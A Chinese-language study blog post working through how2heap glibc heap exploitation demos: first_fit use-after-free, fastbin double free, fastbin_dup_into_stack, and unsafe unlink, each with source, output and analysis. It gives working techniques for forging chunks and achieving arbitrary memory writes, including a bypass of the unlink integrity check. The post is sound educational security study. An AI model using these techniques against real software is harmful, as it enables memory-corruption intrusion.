how2heap系列(基础篇)

how2heap系列(基础篇)

参考教程

first_fit

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n");
fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.\n");
fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.\n");
fprintf(stderr, "This can be exploited in a use-after-free situation.\n");

fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.\n");
char* a = malloc(512);
char* b = malloc(256);
char* c;

fprintf(stderr, "1st malloc(512): %p\n", a);
fprintf(stderr, "2nd malloc(256): %p\n", b);
fprintf(stderr, "we could continue mallocing here...\n");
fprintf(stderr, "now let's put a string at a that we can read later \"this is A!\"\n");
strcpy(a, "this is A!");
fprintf(stderr, "first allocation %p points to %s\n", a, a);

fprintf(stderr, "Freeing the first one...\n");
free(a);

fprintf(stderr, "We don't need to free anything again. As long as we allocate less than 512, it will end up at %p\n", a);

fprintf(stderr, "So, let's allocate 500 bytes\n");
c = malloc(500);
fprintf(stderr, "3rd malloc(500): %p\n", c);
fprintf(stderr, "And put a different string here, \"this is C!\"\n");
strcpy(c, "this is C!");
fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
fprintf(stderr, "first allocation %p points to %s\n", a, a);
fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.");
}

运行结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.
glibc uses a first-fit algorithm to select a free chunk.
If a chunk is free and large enough, malloc will select this chunk.
This can be exploited in a use-after-free situation.
Allocating 2 buffers. They can be large, don't have to be fastbin.
1st malloc(512): 0x1eda010
2nd malloc(256): 0x1eda220
we could continue mallocing here...
now let's put a string at a that we can read later "this is A!"
first allocation 0x1eda010 points to this is A!
Freeing the first one...
We don't need to free anything again. As long as we allocate less than 512, it will end up at 0x1eda010
So, let's allocate 500 bytes
3rd malloc(500): 0x1eda010
And put a different string here, "this is C!"
3rd allocation 0x1eda010 points to this is C!
first allocation 0x1eda010 points to this is C!

运行结果翻译:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
这个程序并不展示如何攻击,而是展示glibc的一种分配规则.

glibc使用一种first-fit算法去选择一个free-chunk.

如果存在一个free-chunk并且足够大的话,malloc会优先选取这个chunk.

这种机制就可以在被利用于use after free(简称uaf)的情形中.

先分配两个buffer,可以分配大一点,是不是fastbin也无所谓.

1st malloc(512): 0x662420
2nd malloc(256): 0x662630

我们也可以继续分配…

为了方便展示如何利用这个机制,我们在这里放置一个字符串 “this is A!”

我们使第一个分配的内存空间的地址 0x662420 指向这个字符串”this is A!”.

然后free掉这块内存…

我们也不需要free其他内存块了.之后只要我们用malloc申请的内存大小小于第一块的512字节,都会给我们返回第一个内存块开始的地址 0x662420.

ok,我们现在开始用malloc申请500个字节试试.

3rd malloc(500): 0x662420
然后我们在这个地方放置一个字符串 “this is C!”

第三个返回的内存块的地址 0x662420 指向了这个字符串 “this is C!”.

第一个返回的内存块的地址也指向这个字符串!

经过几次测试,malloc与先后free的顺序没有关系,若先malloc的被free之后的堆块会先被分配

比如上图c分配到的是b的地址堆块

结果如图:

同时这里也展示了一个UAF(use after free)就是a已经free掉之后又重新把那块地址分配回来再编辑会把a所指向的地址的内容也编辑了(也就是这个时候a跟c指向的是同一内存地址)。

漏洞:free掉之后没有把指针置0,造成一个UAF漏洞

修补:free掉a之后,让a再指向null。

1
2
free(a);
a = 0;

修补漏洞后的运行结果部分如下:

1
2
3
4
5
6
7
Freeing the first one...
We don't need to free anything again. As long as we allocate less than 512, it will end up at (nil)
So, let's allocate 500 bytes
3rd malloc(500): 0x2459010
And put a different string here, "this is C!"
3rd allocation 0x2459010 points to this is C!
first allocation (nil) points to (null)

但是有一个问题:If a chunk is free and large enough, malloc will select this chunk.输出的这句话表示如果存在一个free-chunk并且足够大的话,malloc会优先选取这个chunk.但是不然,我试着把a=256,b=512字节,把a,b都free掉,然后malloc(250),但是他依然是分配小的a,而不是大的b。这样看来应该遵循下面准则:

  • 会先选大小最合适的最小的bins
  • 会先选最先被malloc而且已经被free的bin

fastbin_dup

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.\n");

fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);

fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);

fprintf(stderr, "Freeing the first one...\n");
free(a);

fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);

fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);

fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
fprintf(stderr, "1st malloc(8): %p\n", malloc(8));
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "3rd malloc(8): %p\n", malloc(8));
}

主要利用漏洞:double free

漏洞主要简述:
fastbin_dup表示,如果一个fastbin不在fastbins的链表头的话,就能再次释放,(也能多次分配)。从而构成了一次简单的double free。具体机制可以参照我在前面对free的分析。

运行结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
This file demonstrates a simple double-free attack with fastbins.
Allocating 3 buffers.
1st malloc(8): 0x665010
2nd malloc(8): 0x665030
3rd malloc(8): 0x665050
Freeing the first one...
If we free 0x665010 again, things will crash because 0x665010 is at the top of the free list.
So, instead, we'll free 0x665030.
Now, we can free 0x665010 again, since it's not the head of the free list.
Now the free list has [ 0x665010, 0x665030, 0x665010 ]. If we malloc 3 times, we'll get 0x665010 twice!
1st malloc(8): 0x665010
2nd malloc(8): 0x665030
3rd malloc(8): 0x665010

运行结果翻译:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
这个程序展示了一个利用fastbin进行的double-free攻击. 攻击比较简单.

先分配三块内存.

1st malloc(8): 0x1f89420
2nd malloc(8): 0x1f89440
3rd malloc(8): 0x1f89460
free掉第一块内存…

如果我们再free 0x1f89420 的话,程序就会崩溃,然后报错.因为这个时候这块内存刚好在对应free-list的顶部,再次free这块内存的时候就会被检查到.

所以我们另外free一个,我们free第二块内存 0x1f89440.

现在我们再次free第一块内存,因为它已经不在链表顶部了.

现在我们的free-list有这三块内存[ 0x1f89420, 0x1f89440, 0x1f89420 ].

如果我们malloc三次的话,我们就会得到0x1f89420两次!

1st malloc(8): 0x1f89420
2nd malloc(8): 0x1f89440
3rd malloc(8): 0x1f89420

运行结果分析:

如上图,我们可以知道只要我们要double free的这块内存不在在对应free-list的顶部,也就是说两次free中间还有了另外一个被free的堆块的话就可以实现两次free,重要是后面malloc同样大小的堆块的时候就可以从free list里面选空闲的堆块出来malloc,因为前面已经实现了double free,所以会出现后面malloc的时候有两个指针同时指向一个地址的情况,这个在利用方面就可以编辑之后要分配的堆头信息等等了吧!!(本块忙时被本块数据占用,本块空闲时为下一个空闲块的地址等等这些概念)具体利用后面学到再详细进行记录。

注:这里如果连续free同一个堆块(会有一个检查,用来防止double free的),就会如下报错。

1
2
3
4
Freeing the first one...
If we free 0x14a6010 again, things will crash because 0x14a6010 is at the top of the free list.
*** Error in `./fastbin_dup': double free or corruption (fasttop): 0x00000000014a6010 ***
Aborted (core dumped)

fastbin_dup_into_stack

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");

unsigned long long stack_var;

fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);

fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);

fprintf(stderr, "Freeing the first one...\n");
free(a);

fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);

fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);

fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = malloc(8);

fprintf(stderr, "1st malloc(8): %p\n", d);
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20;

fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}

漏洞概述:主要是利用double free来构造一个假的堆块头,把指向下一个空闲块(free list)改成栈地址,这样就可以分配到一个栈地址,并可以往栈上写内容。

运行结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
This file extends on fastbin_dup.c by tricking malloc into
returning a pointer to a controlled location (in this case, the stack).
The address we want malloc() to return is 0x7ffe46d526a0.
Allocating 3 buffers.
1st malloc(8): 0x11a8010
2nd malloc(8): 0x11a8030
3rd malloc(8): 0x11a8050
Freeing the first one...
If we free 0x11a8010 again, things will crash because 0x11a8010 is at the top of the free list.
So, instead, we'll free 0x11a8030.
Now, we can free 0x11a8010 again, since it's not the head of the free list.
Now the free list has [ 0x11a8010, 0x11a8030, 0x11a8010 ]. We'll now carry out our attack by modifying data at 0x11a8010.
1st malloc(8): 0x11a8010
2nd malloc(8): 0x11a8030
Now the free list has [ 0x11a8010 ].
Now, we have access to 0x11a8010 while it remains at the head of the free list.
so now we are writing a fake free size (in this case, 0x20) to the stack,
so that malloc will think there is a free chunk there and agree to
return a pointer to it.
Now, we overwrite the first 8 bytes of the data at 0x11a8010 to point right before the 0x20.
3rd malloc(8): 0x11a8010, putting the stack address on the free list
4th malloc(8): 0x7ffe46d526a0

运行结果翻译:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
这个程序更具体地展示了上一个程序所介绍的技巧,通过欺骗malloc来返回一个我们可控的区域的指针(在这个例子中,我们可以返回一个栈指针)

我们想要malloc返回的地址是这个 0x7ffef0f6a078.

首先分配三块内存:

1st malloc(8): 0x220f420
2nd malloc(8): 0x220f440
3rd malloc(8): 0x220f460
free掉第一块内存…

和上一个程序一样,我们再free第一块内存是不行的,所以我们free第二块.

free 0x220f440

现在我们可以free第一块了.

当前的free-list是这样的 [ 0x220f420, 0x220f440, 0x220f420 ]

我们将通过在第一块内存 0x220f420 上构造数据来进行攻击.

先把链表上前两个地址malloc出来.

1st malloc(8): 0x220f420
2nd malloc(8): 0x220f440
现在的free-list上面就只剩下了[ 0x220f420 ]

尽管现在0x220f420仍然在链表上,但我们还是可以访问它.

然后我们现在写一个假的chunk-size(在这里我们写入0x20)到栈上.(相当于在栈上伪造一块已经free的内存块)

之后malloc就会认为存在这么一个free-chunk,并在之后的内存申请中返回这个地址.

现在,我们再修改 0x220f420 的前8个字节为刚才写下chunk-size的那个栈单元的前一个栈单元的地址.

3rd malloc(8): 0x220f420,将栈地址放到free-list上.
4th malloc(8): 0x7ffef0f6a078 成功返回栈地址.

把地址下一个空闲块的地址改成了栈地址,相当于将栈地址放到free-list上。当malloc的时候成功返回栈地址的话,就可以往栈上去写东西了,就可能可以造成栈溢出等漏洞了。

这个漏洞的重点:
这个程序在double-free之后多伪造了一个chunk在链表上,进行了第四次malloc,将我们可以控制的一个地址(这里是一个栈地址)malloc了出来。当然,这个地址也可以是堆地址,只要可控(因为我们至少要伪造好size字段来逃过检查)。

调试结果:
构造之前:

构造之后free list确实指向了一个栈地址

但是为什么链表上还会多出来一个地址? 那是因为我们伪造的堆块的fd指针位置刚好是这个地址的值

查看一下内存

总结一下这个double free 造成任意修改栈地址的攻击流程:
这是基于上面的fastbin_dup,是可以将栈上的地址通过malloc返回回来。但是可利用的不仅仅是stack,而是我们可设置的任意值。

fastbin_dup_into_stack的实现流程如下:

第一步:初始化,把上一个fastbin_dup都做一遍

1
2
3
4
5
malloc=>a
malloc=>b
free a
free b
free a

这样fastbins中有了三个fastbin:a=>b=>a。
第二步:伪造一个假的fastbins链表(通过写堆头)

1
2
3
malloc=>c(a)
malloc=>b(b)
rewrite c->fd=fake_value

在这里通过伪造fd,可以导致fastbins中出现了第四个fastbin:a=>fake_value
第三步:成功分配到栈上的地址,造成可任意修改

1
2
malloc=>d(a)
malloc=>fake_value

返回的fake_value,我们就能对对应地址的值进行任意的修改了。

不安全的unlink解链操作

参考unlink学习链接:

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>


uint64_t *chunk0_ptr;

int main()
{
fprintf(stderr, "Welcome to unsafe unlink 2.0!\n");
fprintf(stderr, "Tested in Ubuntu 14.04/16.04 64bit.\n");
fprintf(stderr, "This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
fprintf(stderr, "The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

int malloc_size = 0x80; //we want to be big enough not to use fastbins
int header_size = 2;

fprintf(stderr, "The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

fprintf(stderr, "We create a fake chunk inside chunk0.\n");
fprintf(stderr, "We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
fprintf(stderr, "We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
fprintf(stderr, "With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
fprintf(stderr, "Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
fprintf(stderr, "Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);

fprintf(stderr, "We need to make sure the 'size' of our fake chunk matches the 'previous_size' of the next chunk (chunk+size)\n");
fprintf(stderr, "With this setup we can pass this check: (chunksize(P) != prev_size (next_chunk(P)) == False\n");
fprintf(stderr, "P = chunk0_ptr, next_chunk(P) == (mchunkptr) (((char *) (p)) + chunksize (p)) == chunk0_ptr + (chunk0_ptr[1]&(~ 0x7))\n");
fprintf(stderr, "If x = chunk0_ptr[1] & (~ 0x7), that is x = *(chunk0_ptr + x).\n");
fprintf(stderr, "We just need to set the *(chunk0_ptr + x) = x, so we can pass the check\n");
fprintf(stderr, "1.Now the x = chunk0_ptr[1]&(~0x7) = 0, we should set the *(chunk0_ptr + 0) = 0, in other words we should do nothing\n");
fprintf(stderr, "2.Further more we set chunk0_ptr = 0x8 in 64-bits environment, then *(chunk0_ptr + 0x8) == chunk0_ptr[1], it's fine to pass\n");
fprintf(stderr, "3.Finally we can also set chunk0_ptr[1] = x in 64-bits env, and set *(chunk0_ptr+x)=x,for example chunk_ptr0[1] = 0x20, chunk_ptr0[4] = 0x20\n");
chunk0_ptr[1] = sizeof(size_t);
fprintf(stderr, "In this case we set the 'size' of our fake chunk so that chunk0_ptr + size (%p) == chunk0_ptr->size (%p)\n", ((char *)chunk0_ptr + chunk0_ptr[1]), &chunk0_ptr[1]);
fprintf(stderr, "You can find the commitdiff of this check at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30\n\n");

fprintf(stderr, "We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
fprintf(stderr, "We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
fprintf(stderr, "It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
chunk1_hdr[0] = malloc_size;
fprintf(stderr, "If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
fprintf(stderr, "We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
chunk1_hdr[1] &= ~1;

fprintf(stderr, "Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
fprintf(stderr, "You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
free(chunk1_ptr);

fprintf(stderr, "At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;

fprintf(stderr, "chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
fprintf(stderr, "Original value: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
fprintf(stderr, "New Value: %s\n",victim_string);
}

编译运行结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
Welcome to unsafe unlink 2.0!
Tested in Ubuntu 14.04/16.04 64bit.
This technique can be used when you have a pointer at a known location to a region you can call unlink on.
The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.
The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.

The global chunk0_ptr is at 0x602070, pointing to 0x2282010
The victim chunk we are going to corrupt is at 0x22820a0

We create a fake chunk inside chunk0.
We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.
We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.
With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False
Fake chunk fd: 0x602058
Fake chunk bk: 0x602060

We need to make sure the 'size' of our fake chunk matches the 'previous_size' of the next chunk (chunk+size)
With this setup we can pass this check: (chunksize(P) != prev_size (next_chunk(P)) == False
P = chunk0_ptr, next_chunk(P) == (mchunkptr) (((char *) (p)) + chunksize (p)) == chunk0_ptr + (chunk0_ptr[1]&(~ 0x7))
If x = chunk0_ptr[1] & (~ 0x7), that is x = *(chunk0_ptr + x).
We just need to set the *(chunk0_ptr + x) = x, so we can pass the check
1.Now the x = chunk0_ptr[1]&(~0x7) = 0, we should set the *(chunk0_ptr + 0) = 0, in other words we should do nothing
2.Further more we set chunk0_ptr = 0x8 in 64-bits environment, then *(chunk0_ptr + 0x8) == chunk0_ptr[1], it's fine to pass
3.Finally we can also set chunk0_ptr[1] = x in 64-bits env, and set *(chunk0_ptr+x)=x,for example chunk_ptr0[1] = 0x20, chunk_ptr0[4] = 0x20
In this case we set the 'size' of our fake chunk so that chunk0_ptr + size (0x2282018) == chunk0_ptr->size (0x2282018)
You can find the commitdiff of this check at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30

We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.
We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.
It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly
If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: 0x80
We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.

Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.
You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344

At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.
chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.
Original value: Hello!~
New Value: BBBBAAAA

运行结果翻译:
翻译看不懂可以直接跳过,看下面的分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
这个技术可以被用于当你在一个已知区域内(比如bss段)有一个指针,并且在这个区域内可以调用unlink的时候.

最常见的情况就是存在一个可以溢出的带有全局指针的缓冲区.

这个练习的关键在于利用free()来改写全局指针chunk0_ptr以达到任意地址写入的目的.

这个全局指针 chunk0_ptr 在0x602060,指向 0x1a35420.

而我们要去改造的在 0x1a354b0 victim chunk .

我们开始在chunk0内部伪造一个chunk.

先设置一个fd指针,使得p->fd->bk == p(‘p’在这里指的是chunk0)

再设置一个bk指针,使得p->bk->fd == p.

经过这些设置之后,就可以过掉“(P->fd->bk != P || P->bk->fd != P) == False”这个校验了.

Fake chunk fd: 0x602048
Fake chunk bk: 0x602050
我们还需要确保,fake chunk的size字段和下一个堆块的presize字段(fd->presize)的值是一样的.

经过了这个设置,就可以过掉“(chunksize(P) != prev_size (next_chunk(P)) == False”的校验了.

因此,我们设置fake chunk的size字段为chunk0_[-3]:0x00000000(关于这里可能有人看不明白,我在后面细讲.)



我们假设我们在chunk0处有一个溢出,让我们去修改chunk1的头部的信息.

我们缩小chunk1的presize(表示的是chunk0的size),好让free认为chunk0是从我们伪造的堆块开始的.

这里比较关键的是已知的指针正确地指向fake chunk的开头,以及我们相应地缩小了chunk.

如果我们正常地free掉了chunk0的话,chunk1的presize应该是0x90,但是这里被我们修改为了0x80.

我们通过设置“previous_in_use”的值为False,将chunk0标记为了free(尽管它并没有被free)

现在我们free掉chunk1,好让consolidate backward去unlink我们的fake chunk,然后修改chunk_ptr.



现在,我们就可以利用chunk_ptr去修改他自己的值,来使它指向任意地址.

ok,现在chunk0_ptr指向了我们指定的地址,我们用它来修改victim string

Original value: Hello!~
New Value: BBBBAAAA

翻译看不懂可以直接跳过,看下面的分析

详细分析:

首先你需要一些unlink的知识:
unlink说的是linux系统在进行空闲堆块管理的时候,进行空闲堆块的合并操作。一般发生在程序进行堆块释放之后。然后这个的漏洞一般是不安全的unlink解链操作造成的。
介绍unlink之前先的说一下linux系统中的堆块的结构(其实就是一个双向链表):

其中对于linux的堆块管理过程,可以参考这篇文章,里面说的十分详细,但是注意其中可能有些错误的地方,可以自己动手调试看看。

这里继续记录,借助ctf-wiki的图来理解

其实其实就进行了一个在双向链表中删除节点P的操作,让P堆块和BK堆块合并成一个空闲堆块:

做的操作就是:

1
2
p->fd->bk = p->bk
p->bk->fd = p->fd

0x00 未加防护机制的unlink

假如系统中有如下图所示的两个堆块:

上图FD,BK两个堆块相邻,明显可以看到P是已经空闲状态的(存在FD、BK),如果我们利用某漏洞(比如堆溢出、越界写等等),可以控制堆块P的FD和BK的值,修改为:Fd=addr – 3*4, Bk = except value,就可以形成一个在任意地址写的利用了。

unlink漏洞的结果是在任意的可写地址写入任意你想写的内容,这里里面牵扯两个变量:第一个. 在什么地址写,第二个.写入什么内容

1
2
addr就表示任意一个你想控制的可写地址
except value 是你想在addr中写入的值

下面我们再来详细地看下这里面是怎样发生的:
当我们free(Q)的时候,系统就发现Q堆块后面的P堆块也处于free状态,就会Q堆块和P堆块的合并操作。继而对堆块P进行unlink的操作,下面看一下unlink的操作过程(以32位系统说明问题):

1
2
3
4
5
1. FD = P->fd = addr – 3*4
2. BK = P->bk = except value
3. FD->bk =BK , 即 *(addr-3*4+3*4) = BK = except value
注:因为前面构造Fd=addr – 3*4,所以这里解链的时候就造成了*(addr) = BK的操作,也就成功向任意地址addr写入任意内容except value。
4. BK->fd =FD , 即 *(except value + 8) = FD = addr – 3*4

其中第三条,FD指向的位置,也就是(addr-3*4)这个地址的位置并不是一个堆块的起始地址,那么它怎么会有bk指针呢? 其实在汇编中,根本没有结构体的概念,所有的一切都是偏移,要找FD的bk,其实就是就是找距离FD指针指向的地址的三个字的偏移的地方,所以访问的地址是(FD+3*4)

这样我们就可以实现在任意可写地址addr中写入except value这样一个值了。但是还需要注意:expect value +8 地址具有可写的权限,不会导致程序崩溃,这样就产生了一个任意地址写的漏洞。

0x01 加了防护机制的unlink

unlink在malloc.c的源码中其实是一个宏定义,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#define unlink(P, BK, FD) {                                            \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P); \ //这里有一个unlink的防护
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (P->size) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
assert (P->fd_nextsize->bk_nextsize == P); \
assert (P->bk_nextsize->fd_nextsize == P); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}

然后里面主要做了防护的地方如下:

1
2
3
4
5
6
7
8
9
10
//由于P已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P); \ //这里有一个unlink的防护,检查FD->bk || BK->fd 是否等于p,因此我们不能再单纯的设为某我们想改的地址
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (P->size) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
assert (P->fd_nextsize->bk_nextsize == P); \
assert (P->bk_nextsize->fd_nextsize == P); \

从if的条件可以看出这个防护主要需要满足下面两点:

1
2
P->fd->bk=P
P->bk->fd=P

前面我们做这个unlink利用的时候重点是对addr和except value这两个值来进行构造的,那这个有防护的情况下,我们如何构造这个值来绕过这个防护呢?
看下面等式求解:
这是个很绕的地方,看不懂的话后面我再详细叙述

1
2
P->fd->bk = *(addr-3*4+3*4) =P    ==>  addr = &P 
P->bk->fd = *(except value + 2*4) = P => except value = &P-2*4

**所以当我们把fd内容设置为(&P-34),把bk的内容设置为(&P-24)的时候,就可以绕过这个安全检测机制 **

**0x02 通过分析unsafe unlink的代码,进一步理解unlink漏洞 **
1.申请两个大小为0x80的堆块:

1
2
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1

这里要注意的是第一个是全局变量指针,保存在bss段,而第二个malloc的指针是局部变量

2.在chunk0中构建一个伪的堆块,以chunk0_ptr为起始地址(直接改FD和BK)

1
2
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);

如图:

3.修改chunk1的pre_chunk_size字段和size字段,以便于在free(chunk1)的时候,可以合并上面构造的那个伪块(绕过对大小的验证)

1
2
3
4
header_size = 2
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
chunk1_hdr[0] = malloc_size; //上一个堆块的大小,就是伪块的大小
chunk1_hdr[1]&=~1; //末位清零,最后一位为零表示上一个堆块是free状态,可以和它合并

完整布局如下图:

4.在free(chunk1_ptr)之后,chunk0_ptr指向了&chunk0_ptr-3*8的地方

5.漏洞证明

1
2
3
chunk0_ptr[3] = (uint64_t) victim_string;  //vimtim_string = " Hello!~"
chunk0_ptr[0] = 0x4141414142424242LL; //vimtim_string = BBBBAAAA
printf("New Value: %s\n",victim_string);

修改chunk0_ptr[0]的值其实是在修改它指向的位置,让它指向vimtim_string
然后修改chunk0_ptr[0]就修改了vimtim_string字符串本身。
